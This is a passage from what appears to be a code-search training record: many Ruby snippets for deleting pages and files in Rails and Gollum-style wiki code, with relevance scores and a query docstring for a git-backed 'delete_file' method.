"def destroy\n begin\n @page = Page.find(params[:id])\n @page.destroy\n redirect_to admin_pages_path, :flash => {:success => \"Page Deleted\"}\n rescue ActiveRecord::RecordNotFound\n redirect_to admin_pages_path, :flash => {:error => \"Page not found\"}\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n flash[:notice] = \"Page successfully deleted\" if @page.destroy\n redirect_to pages_path\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_path }\n end\n end",
"def destroy\n @page.delete\n @message = {message: 'Page deleted'}\n respond_with(@message)\n end",
"def destroy\n @admin_page = Page.find(params[:id])\n @admin_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n end\n end",
"def delete_page(name, page_number, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_page_with_http_info(name, page_number, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_page_with_http_info(name, page_number, opts)\n else\n raise\n end\n return data\n end",
"def remove_page\n\n @page = Page.find(params[:id])\n @document=@page.document\n\n @page.move_to_new_document\n\n end",
"def remove_page\n @page = Page.find(params[:id])\n @document = @page.document\n\n @page.move_to_new_document\n\n end",
"def delete_page request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_page_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n head :no_content\n end",
"def destroy\n @page = @site.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(@parent_page ? admin_site_page_children_url(@site, @parent_page) : admin_site_pages_url(@site)) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @page = Page.find(params[:id])\r\n @page.destroy\r\n File.delete(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n respond_to do |format|\r\n format.html { redirect_to pages_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n end\n end",
"def delete(p)\n puts \"Deleting page #{p}\"\n FileUtils.rm_rf \"#{p}\"\n end",
"def destroy\n @page = @user.pages.find_by_permalink(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def commit_with_content(page, content, log = nil)\n escaped_page = escape(page)\n wiki = File.read(File.join(@data_path, \"text\", \".wiki\"))\n dir = File.join(@root, wiki, escaped_page).untaint\n revision = last_revision(page) + 1\n page_path = File.join(@data_path, \"text\", escaped_page).untaint\n FileUtils.mkdir_p(dir)\n FileUtils.rm_f(File.join(dir, \".removed\"))\n\n File.open(page_path, \"w+\") do |file|\n file.write(content)\n end\n FileUtils.cp(page_path, File.join(dir, revision.to_s))\n end",
"def delete\n @page = Comatose::Page.find_is_snippet params[:id]\n if request.post?\n expire_cms_pages_from_bottom @page\n expire_cms_fragments_from_bottom @page\n @page.destroy\n flash[:notice] = \"Deleted snippet '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end",
"def destroy\n @page = Page.find_by!(permalink: params[:id])\n @page.destroy\n\n redirect_to pages_url\n end",
"def destroy\n Page.find(params[:id]).destroy\n redirect_to pages_path\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_url) }\n format.xml { head :ok }\n end\n end",
"def destroy \n # finds and delete page \n Page.find(params[:id]).destroy\n # take us back to all pages \n redirect_to pages_path\n end",
"def destroy\n\t\t@page = Page.find(params[:id])\n\t\t@page.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(pages_path) }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend",
"def rename_page(page, rename, commit = {})\n return false if page.nil?\n return false if rename.nil? || rename.empty?\n\n (target_dir, target_name) = ::File.split(rename)\n (source_dir, source_name) = ::File.split(page.path)\n source_name = page.filename_stripped\n\n # File.split gives us relative paths with \".\", commiter.add_to_index doesn't like that.\n target_dir = '' if target_dir == '.'\n source_dir = '' if source_dir == '.'\n target_dir = target_dir.gsub(/^\\//, '') # rubocop:disable Style/RegexpLiteral\n\n # if the rename is a NOOP, abort\n if source_dir == target_dir && source_name == target_name\n return false\n end\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n # This piece only works for multi_commit\n # If we are in a commit batch and one of the previous operations\n # has updated the page, any information we ask to the page can be outdated.\n # Therefore, we should ask first to the current committer tree to see if\n # there is any updated change.\n raw_data = raw_data_in_committer(committer, source_dir, page.filename) ||\n raw_data_in_committer(committer, source_dir, \"#{target_name}.#{Page.format_to_ext(page.format)}\") ||\n page.raw_data\n\n committer.delete(page.path)\n committer.add_to_index(target_dir, target_name, page.format, raw_data)\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(source_dir, source_name, page.format)\n index.update_working_dir(target_dir, target_name, page.format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def destroy\n @page = current_cms.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(big_cms_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pagecontent = @page.pagecontents.find(params[:id])\n @pagecontent.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_pagecontents_path(@page)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = @chapter.pages.find_by_number(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to manga_chapter_url(@manga, @chapter) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n if @page.protected\n flash[:error] = t(:page_protected)\n else\n @page.destroy \n flash[:notice] = t(:page_deleted)\n end\n\n respond_to do |format|\n format.html { redirect_back_or_default(admin_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n flash[:notice] = \"Page was successfully deleted.\"\n\n respond_to do |format|\n format.html { redirect_to :controller => 'comics', :action => 'list_pages', :id => @page.comic }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n flash[:notice] = :page_destroyed.l\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def delete_pages(id, pages)\n pages = pages.join(',') if pages.class == Array\n args = {userId: id, pageNames: pages}\n post('deletePagesFromSubAccount', args)\n end",
"def destroy\n @page = Page.find_by_slug(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back, :notice => 'Die Seite wurde geloescht.') }\n format.xml { head :ok }\n end\n end",
"def delete post\n\t\t$DIRTY << :news\n\t\tpost = @children[post] if post.kind_of? Integer\n\t\traise ArgumentError, \"Post not found\" unless @children.include? post\n\n\t\tif @children[-1] == post and post.children.size == 0\n\t\t\t@children.delete post\n\t\telse\n\t\t\tpost.title = \"<Deleted>\"\n\t\t\tpost.body = \"<Post deleted>\"\n\t\t\tpost.drill(true){|b| b.locked = true}\n\t\tend\n\n\t\tpost.sticky = false if post.sticky\n\tend",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to(pages_url, :notice => 'The page has vanished.') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :ok }\n end\n end",
"def test_remove_page\n file = Configuration.TEST_PAGE\n \n # This test depends on a succesfull login\n if test_correct_login\n token = make_login Configuration.USER, Configuration.PASSWORD\n else\n return false\n end\n \n page_key = 'page-test-' + random_string(Configuration.PAGE_KEY_RS_SIZE)\n \n # This test also depends on a succesfull page creation\n if test_create_page\n post_page file, token, page_key, 'test-tag', 'This is a Test Page'\n else\n return false\n end\n \n res = remove_page page_key, token\n puts \"\\nTester#test_remove_page:\\n#{res}\" if Configuration.VERBOSE \n res == Constants.SUCCESS_MESSAGE\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Page was successfully destroyed.' }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Страница успешно удалена!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@page = Page.find(params[:id])\n\t\t@page.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to pages_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.friendly.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @structure_page = Structure::Page.find(params[:id])\n @structure_page.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.json { render :json => @page }\n format.xml { render :xml => @page }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page)\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page, :status => :deleted, :location => pages_path)\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_url, :notice => \"Successfully deleted page. #{undo_link}\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n # find the page with with\n @page = Page.find(params[:id])\n\n # calling class method of PagePart model to delete page parts of a page\n PagePart.delete_page_parts(@page)\n\n #destroy the page\n @page.destroy\n\n #sends in data in different format to index action\n respond_to do |format|\n\n format.html { redirect_to admin_pages_url }\n format.json { head :no_content }\n\n end # end respond_to block\n\n end",
"def delete_entry(entry)\n @address_book.entries.delete(entry)\n puts \"#{entry.name} has been deleted\"\n end",
"def delete(path)\n path = normalize_path(path)\n if path.empty?\n raise 'Empty path'\n elsif path.size == 1\n child = @children.delete(path.first)\n @modified = true if child\n child\n else\n tree = @children[path.first]\n raise 'Not a tree' if tree.type != :tree\n tree.delete(path[1..-1])\n end\n end",
"def rename_page(page, rename, commit = {})\n return false if page.nil?\n return false if rename.nil? or rename.empty?\n\n (target_dir, target_name) = ::File.split(rename)\n (source_dir, source_name) = ::File.split(page.path)\n source_name = page.filename_stripped\n\n # File.split gives us relative paths with \".\", commiter.add_to_index doesn't like that.\n target_dir = '' if target_dir == '.'\n source_dir = '' if source_dir == '.'\n target_dir = target_dir.gsub(/^\\//, '')\n\n # if the rename is a NOOP, abort\n if source_dir == target_dir and source_name == target_name\n return false\n end\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n committer.delete(page.path)\n committer.add_to_index(merge_path_elements(target_dir, target_name, page.format), page.raw_data)\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(merge_path_elements(source_dir, source_name, page.format))\n index.update_working_dir(merge_path_elements(target_dir, target_name, page.format))\n end\n\n multi_commit ? committer : committer.commit\n end",
"def destroy\n @cms_page = CmsPage.find(params[:id])\n @cms_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_cms_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nested_page = Nested::Page.find(params[:id])\n @nested_page.destroy\n\n respond_to do |format|\n format.html { redirect_to nested_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub_page = SubPage.find(params[:id])\n @sub_page.destroy\n\n respond_to do |format|\n format.html { redirect_to(sub_pages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n respond_with(@page)\n end",
"def destroy\n @page = Page.find_by_slug(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end",
"def set_page(path, text, commit_id, email = 'unknown', sline =nil, eline = nil)\n\n cur_head = @repo.commits(@branch, 1).first\n cur_tree = @repo.tree @branch\n\n status = SETPAGE_OK\n\n if commit_id != ''\n # not new file\n\n text_blob = @repo.blob commit_id\n raise \"no path #{path}\" if ! text_blob.is_a? Grit::Blob\n cur_blob = cur_tree / path\n text_blob_data = text_blob.data.force_encoding('utf-8')\n\n if ! sline.nil? && ! eline.nil?\n text = _patch_part(text, text_blob_data, sline, eline)\n end\n\n if cur_blob.id != text_blob.id\n # collision: try append diff\n status = SETPAGE_MERGE_OK\n lmine = 'me'\n lorig = 'original'\n lyour = 'your-concurent-editor'\n newtext, diff3_status = Diff3.diff3(lmine, text,\n lorig, text_blob_data,\n lyour, cur_blob.data.force_encoding('utf-8'))\n\n case diff3_status\n when Diff3::MERGE_COLLISONS\n status = SETPAGE_MERGE_COLLISONS\n\n when Diff3::MERGE_FAIL\n # total fall back (never happens)\n status = SETPAGE_MERGE_DIFF\n diff = Grit::Commit.diff(@repo, text_blob.id, cur_blob.id).map {|d| d.diff}.join\n newtext = text + \"\\n= Collision =\\n{{{\\n#{diff}\\n}}}\\n\"\n end\n text = newtext\n end\n end\n\n index = Grit::Index.new(@repo)\n index.read_tree(cur_tree.id)\n index.add(path, text)\n\n if path =~ /\\.(wiki|txt)$/\n fstline = text.each_line.first.chomp.strip\n comment = \"file: #{path} head: #{fstline}\"\n else\n comment = \"file: #{path}\"\n end\n\n\n comment = comment.force_encoding('ASCII-8BIT')\n\n actor = Grit::Actor.from_string(email)\n\n id = index.commit(comment, parents: [cur_head], actor: actor, last_tree: cur_head, head: @branch)\n return status\n end",
"def delete_page_data(page_id, id)\n delete \"pages/#{page_id}/data/#{id}\"\n end",
"def commit(message = '', author = User.from_config, committer = author)\n root.write\n\n commit = Commit.new(self)\n commit.tree = root\n commit.parent << head.id if head\n commit.author = author\n commit.committer = committer\n commit.message = message\n commit.write\n\n open(head_path, \"wb\") do |file|\n file.write(commit.id)\n end\n\n @head = commit\n end",
"def remove(page_index)\n catalog = rebuild_catalog\n pages_array = catalog[:Pages][:referenced_object][:Kids]\n removed_page = pages_array.delete_at page_index\n catalog[:Pages][:referenced_object][:Count] = pages_array.length\n removed_page\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def destroy\n @page.destroy\n redirect_to @notebook, notice: 'Page was successfully destroyed.'\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to pages_path(page: params[:page], type: params[:type]) }\n format.json { head :no_content }\n end\n end",
"def page(wiki, commit)\n blob = self.blob(wiki.repo)\n page = wiki.page_class.new(wiki).populate(blob, self.dir)\n page.version = commit\n page\n end",
"def delete_entry(path, revision, parent_baton)\n # Print out diffs of deleted files, but not\n # deleted directories\n unless @base_root.dir?('/' + path)\n do_diff(path, nil)\n end\n end",
"def destroy\n @mainpage = Mainpage.find(params[:id])\n @mainpage.destroy\n\n respond_to do |format|\n format.html { redirect_to(mainpages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @page = current_site.pages.find(params[:id])\n @page.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_site_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page.destroy\n #Cache bust pages and individual page. With pagination we would only bust the cache on the paginated \"pages\" key.\n Rails.cache.delete(\"pages\")\n Rails.cache.delete(\"page-#{@page.id}\")\n respond_to do |format|\n format.json { head :no_content }\n end\n end"
] |
[
"0.7631725",
"0.66204196",
"0.63527775",
"0.5814283",
"0.5759498",
"0.57568246",
"0.5721702",
"0.5713253",
"0.56880254",
"0.5658033",
"0.55889535",
"0.5545445",
"0.54686487",
"0.53877455",
"0.53768647",
"0.5368079",
"0.5336074",
"0.5330418",
"0.5325932",
"0.5318844",
"0.53094286",
"0.52756065",
"0.5269787",
"0.526365",
"0.5230801",
"0.51864696",
"0.51639706",
"0.514733",
"0.51406574",
"0.51384044",
"0.51269215",
"0.5120534",
"0.511178",
"0.50940526",
"0.50940526",
"0.50940526",
"0.50940526",
"0.50940526",
"0.50940526",
"0.50940526",
"0.50940526",
"0.50917554",
"0.50856197",
"0.50852674",
"0.50708884",
"0.50620484",
"0.5039568",
"0.5038175",
"0.5016163",
"0.50113183",
"0.49986055",
"0.4998512",
"0.4994673",
"0.49915838",
"0.49861652",
"0.49824965",
"0.4975033",
"0.49620342",
"0.49620342",
"0.49620342",
"0.49523875",
"0.49495727",
"0.49406433",
"0.49362686",
"0.49268207",
"0.49246162",
"0.49241093",
"0.49233273",
"0.4922785",
"0.49177572",
"0.49123642",
"0.49123642",
"0.49123642",
"0.49123642",
"0.49123642",
"0.49123642",
"0.49123642",
"0.49123642",
"0.4908475",
"0.4885337",
"0.48727077",
"0.48688948",
"0.48553997",
"0.48513258",
"0.4848781",
"0.4844115",
"0.48349467",
"0.48104706",
"0.48096278",
"0.47842157",
"0.47815597",
"0.4778196",
"0.47617292",
"0.47478032",
"0.47285223",
"0.47158602",
"0.47073868",
"0.47064605",
"0.4693434",
"0.46809384"
] |
0.7385515
|
1
|
Public: Delete a file. path The path to the file to delete commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. :tree Optional String SHA of the tree to create the index from. :committer Optional Gollum::Committer instance. If provided, assume that this operation is part of batch of updates and the commit happens later. Returns the String SHA1 of the newly written version, or the Gollum::Committer instance if this is part of a batch update.
|
def delete_file(path, commit)
fullpath = ::File.join([page_file_dir, path].compact)
multi_commit = !!commit[:committer]
committer = multi_commit ? commit[:committer] : Committer.new(self, commit)
committer.delete(fullpath)
committer.after_commit do |index, _sha|
dir = '' if dir == '.'
@access.refresh
index.update_working_dir(fullpath)
end
multi_commit ? committer : committer.commit
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_delete(path)\n params = {\n \"root\" => @root,\n \"path\" => format_path(path, false),\n }\n response = @session.do_post build_url(\"/fileops/delete\", params)\n parse_response(response)\n end",
"def delete_entry(path, revision, parent_baton)\n # Print out diffs of deleted files, but not\n # deleted directories\n unless @base_root.dir?('/' + path)\n do_diff(path, nil)\n end\n end",
"def delete_file(path)\n path = File.join('/', path)\n raise ArgumentError if path == '/'\n self.class.delete(path, request_options)\n end",
"def delete_contents(repo, path, message, sha, options = {})\n options[:message] = message\n options[:sha] = sha\n url = \"#{Repository.path repo}/contents/#{path}\"\n delete url, options\n end",
"def del_file( file_path )\n\n path_to_dot_git = File.join( @git_folder_path, \".git\" )\n git_rm_cmd = \"git --git-dir=#{path_to_dot_git} --work-tree=#{@git_folder_path} rm #{file_path}\"\n log.info(x) { \"[git] file remove command => #{git_rm_cmd}\" }\n %x[#{git_rm_cmd}];\n log.info(x) { \"[git] has removed #{file_path} from repo and working copy.\" }\n\n end",
"def delete(path_info)\n @file_store.delete path_info\n\n @bucket.objects[gem_object_name(path_info)].delete\n end",
"def remove(path)\n obj = self\n chdir do\n super \n obj.git.rm({}, '-f', '-r', path)\n end\n end",
"def delete(path)\n path = normalize_path(path)\n if path.empty?\n raise 'Empty path'\n elsif path.size == 1\n child = @children.delete(path.first)\n @modified = true if child\n child\n else\n tree = @children[path.first]\n raise 'Not a tree' if tree.type != :tree\n tree.delete(path[1..-1])\n end\n end",
"def destroy\n @repo = Repository.find(params[:id])\n\n\t\t#REMOVE FILE FROM FILE SYSTEM AND DO A GIT commit\n\t\tif(FileUtils.rm(params[:path]))\n\t\t\t@git = GitHelper.init(@repo.path, current_user.email, current_user.name)\n\t\t\tGitHelper.commitAll(@git, \"Removed file :: #{params[:path]}\")\n\t\tend\n end",
"def delete_github_repo_file\n # commit\n commit_to_github(@repo, post_params)\n end",
"def delete(path = '/files/', params = {})\n request :delete, path, params\n end",
"def remove(path:)\n param = get_by_name(path: path)\n raise \"Undefined params by path #{path}\" unless param.present?\n\n path_array = path.split '.'\n return param.delete if path_array.size == 1\n\n data_wrapper = get_parent_by_path path: path, data: param.data\n data_wrapper.delete path_array.last\n param.save!\n end",
"def delete(path)\n path = self.class.path(path).to_s\n zip.fopen(path).delete\n entries.delete(path)\n end",
"def delete_file(filename,repo)\n curl_delete(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\").body_str\n end",
"def rmd(msg)\n msg = msg.join(\" \") if msg.is_a? Array\n\n if File.directory? msg\n Dir::delete msg\n elsif File.file? msg\n File::delete msg\n end\n log \"[DEBUG] #{thread[:user]} deleted #{Dir::pwd}/#{msg}\"\n \"200 OK, deleted #{msg}\"\n end",
"def rm!( path )\r\n got = @ndev.rpc.file_delete( :path => path )\r\n return true if got.nil? # got no error\r\n # otherwise, there was an error, check output\r\n raise IOError, got.text\r\n end",
"def delete_file(path)\n \n puts \"Sending path via MCollective Files client\"\n @mc.delete(:path => path)\n printrpcstats\n \n end",
"def delete(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.delete\n end",
"def commit_files(author: nil, message: nil, parent: nil, files: {})\n # check parameters\n raise \"no author given\" if author.nil?\n raise \"no message given\" if message.nil?\n\n # get parent commit\n if not parent.nil?\n parent = @wiki.commit_for(parent)\n elsif parent.nil? and not @wiki.repo.head.commit.nil?\n parent = @wiki.commit_for(@wiki.repo.head.commit.id)\n end\n\n unless parent.nil?\n log_debug \" checkpoint (parent #{parent})\"\n if parent.id != @wiki.repo.head.commit.id\n log_debug \" (parent #{parent} is not head)\"\n\n # now check version of each file individually, if it has been\n # changed in one of the changes since parent.\n #\n # if so, raise error, else proceed\n\n files.each do |path,contents|\n next if @wiki.repo.log(nil, path, {:since => parent.authored_date}).empty?\n log_debug \" file has changed\"\n raise \"repo has changed\"\n end\n end\n end\n\n options = {\n :message => message,\n :author => author,\n }\n unless parent.nil?\n options[:parent] = parent\n end\n\n committer = Gollum::Committer.new(@wiki, options)\n\n files.each do |path,contents|\n path = path.dup.gsub(/^\\.\\//, '')\n if contents.nil?\n committer.index.delete(path)\n else\n committer.index.add(path, normalize(contents))\n end\n # if wikifile_exists? path, parent\n # log_debug \" U path: #{path}, contents: #{normalize(contents)}\"\n # committer.index.add(path.dup, normalize(contents))\n # else\n # log_debug \" A path: #{path}, contents: #{normalize(contents)}\"\n # dir, name, format = split_path path\n # committer.add_to_index(dir, name, format, contents)\n # end\n end\n\n committer.after_commit do |index, sha|\n log_debug \" after_commit: #{index}, #{sha}\"\n @wiki.clear_cache\n\n files.each do |path,contents|\n path = path.gsub(/^\\.\\//, '')\n #dir, name, format = split_path path\n unless @wiki.repo.bare\n Dir.chdir(::File.join(@wiki.repo.path, \"..\")) do\n if contents.nil?\n @wiki.repo.git.rm(path, :force => true)\n else\n @wiki.repo.git.checkout(path, 'HEAD')\n end\n end\n end\n end\n\n @wiki_manager.add_to_index(@wiki, index, sha, files)\n end\n\n sha = committer.commit\n log_debug \"sha #{sha}\"\n end",
"def commit(message = '', author = nil, committer = nil)\n return if !root.modified?\n\n author ||= default_user\n committer ||= author\n root.save\n\n commit = Commit.new(:repository => self,\n :tree => root,\n :parents => head,\n :author => author,\n :committer => committer,\n :message => message)\n commit.save\n\n write_head_id(commit.id)\n load\n\n commit\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue Errno::ENOENT\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def delete\n ::File.unlink(@path)\n end",
"def delete(name)\n File.delete(path(name))\n end",
"def delete_path\n File.join('/a/file/delete', \"#{@page_name}#{ATTACH_DIR_SUFFIX}\", name) # /a/file/delete/foo/bar_files/file.jpg\n end",
"def commit(message = nil)\n # Write current index back to the repository\n index = @repo.index\n commit_tree = index.write_tree @repo\n\n # Commit message\n message = \"Affected files: #{@affected_files.uniq.join(', ')}\" if message.nil?\n\n # User handling\n user = ENV['USER']\n user = \"cir-out-commit\" if user.nil?\n\n # Commit author structure for git\n commit_author = {\n email: 'cir-auto-commit@nowhere.cz',\n name: user,\n time: Time.now\n }\n\n # And finally commit itself\n Rugged::Commit.create @repo,\n author: commit_author,\n committer: commit_author,\n message: message,\n parents: @repo.empty? ? [] : [ @repo.head.target ].compact,\n tree: commit_tree,\n update_ref: 'HEAD'\n\n # Reset list of files that were changed since last commit\n @affected_files = []\n end",
"def delete_file(file_name)\n fail 'No Structure ID defined for structure. Can\\'t delete file' if @structure.id.nil?\n\n data = Hashie::Mash.new\n data.structure_id = @structure.id\n data.file_name = file_name\n\n push_file('api/remove_file', MultiJson.dump(data))\n end",
"def delete_file( path )\n # removes a file at path\n connection.delete( path )\n last_ftp_command_ok?\n end",
"def delete(path)\n root.delete(path)\n end",
"def commit(message = '', author = User.from_config, committer = author)\n root.write\n\n commit = Commit.new(self)\n commit.tree = root\n commit.parent << head.id if head\n commit.author = author\n commit.committer = committer\n commit.message = message\n commit.write\n\n open(head_path, \"wb\") do |file|\n file.write(commit.id)\n end\n\n @head = commit\n end",
"def delete(*args)\n commit(\"delete\", *args)\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue nil\n end",
"def delete(*args)\n commit(\"delete\", *args)\n end",
"def deleteRepositoryObject(path)\n begin\n File.delete(path+\".obj\")\n rescue DefaultException => e\n puts \"Failed to delete repository object : #{path}\"\n end\n end",
"def delete_repository_file(project_id, options = {})\n delete \"/projects/#{project_id}/repository/files\", options\n end",
"def destroy\n @commit_filepath.destroy\n respond_to do |format|\n format.html { redirect_to commit_filepaths_url, notice: 'Commit filepath was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
